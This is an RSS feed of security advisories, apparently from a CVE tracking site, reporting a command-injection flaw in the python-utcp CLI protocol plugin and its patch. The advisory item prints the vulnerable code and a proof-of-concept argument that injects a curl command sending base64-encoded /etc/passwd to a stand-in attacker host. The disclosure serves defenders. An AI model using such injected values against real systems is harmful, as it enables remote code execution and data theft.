<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 03 Oct 2026 11:01:45 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-45369 — python-utcp: Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2026-45369</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; universal-tool-calling-protocol python-utcp&lt;/p&gt;
&lt;p&gt;python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; universal-tool-calling-protocol python-utcp&lt;/p&gt;
&lt;p&gt;python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2026-45369</guid>
    </item>
    <item>
      <title>GHSA-33p6-5jxp-p3x4 — utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-33p6-5jxp-p3x4</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: utcp-cli&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.&lt;/p&gt;
&lt;p&gt;## Affected File&lt;/p&gt;
&lt;p&gt;`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`&lt;/p&gt;
&lt;p&gt;## Vulnerable Code&lt;/p&gt;
&lt;p&gt;```python
def replace_placeholder(match):
    arg_name = match.group(1)
    if arg_name in tool_args:
        return str(tool_args[arg_name])  # No escaping applied
```&lt;/p&gt;
&lt;p&gt;The substituted command is then embedded directly into a shell script:&lt;/p&gt;
&lt;p&gt;```python
script_lines.append(f&amp;#39;{var_name}=$({substituted_command} 2&amp;gt;&amp;amp;1)&amp;#39;)
```&lt;/p&gt;
&lt;p&gt;And executed via:&lt;/p&gt;
&lt;p&gt;```python
shell_cmd = [&amp;#39;/bin/bash&amp;#39;, &amp;#39;-c&amp;#39;, script]
```&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;Given a tool defined as:
```json
{&amp;#34;command&amp;#34;: &amp;#34;python script.py --input UTCP_ARG_filename_UTCP_END&amp;#34;}
```&lt;/p&gt;
&lt;p&gt;Calling with:
```python
tool_args = {&amp;#34;filename&amp;#34;: &amp;#34;data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)&amp;#34;}
```&lt;/p&gt;
&lt;p&gt;Produces and executes:
```bash
CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2&amp;gt;&amp;amp;1)
```&lt;/p&gt;
&lt;p&gt;This results in full Remote Code Execution on the host system.&lt;/p&gt;
&lt;p&gt;## Patched&lt;/p&gt;
&lt;p&gt;Fixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Window…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: utcp-cli&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.&lt;/p&gt;
&lt;p&gt;## Affected File&lt;/p&gt;
&lt;p&gt;`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`&lt;/p&gt;
&lt;p&gt;## Vulnerable Code&lt;/p&gt;
&lt;p&gt;```python
def replace_placeholder(match):
    arg_name = match.group(1)
    if arg_name in tool_args:
        return str(tool_args[arg_name])  # No escaping applied
```&lt;/p&gt;
&lt;p&gt;The substituted command is then embedded directly into a shell script:&lt;/p&gt;
&lt;p&gt;```python
script_lines.append(f&amp;#39;{var_name}=$({substituted_command} 2&amp;gt;&amp;amp;1)&amp;#39;)
```&lt;/p&gt;
&lt;p&gt;And executed via:&lt;/p&gt;
&lt;p&gt;```python
shell_cmd = [&amp;#39;/bin/bash&amp;#39;, &amp;#39;-c&amp;#39;, script]
```&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;Given a tool defined as:
```json
{&amp;#34;command&amp;#34;: &amp;#34;python script.py --input UTCP_ARG_filename_UTCP_END&amp;#34;}
```&lt;/p&gt;
&lt;p&gt;Calling with:
```python
tool_args = {&amp;#34;filename&amp;#34;: &amp;#34;data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)&amp;#34;}
```&lt;/p&gt;
&lt;p&gt;Produces and executes:
```bash
CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2&amp;gt;&amp;amp;1)
```&lt;/p&gt;
&lt;p&gt;This results in full Remote Code Execution on the host system.&lt;/p&gt;
&lt;p&gt;## Patched&lt;/p&gt;
&lt;p&gt;Fixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Window…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-33p6-5jxp-p3x4</guid>
    </item>
  </channel>
</rss>
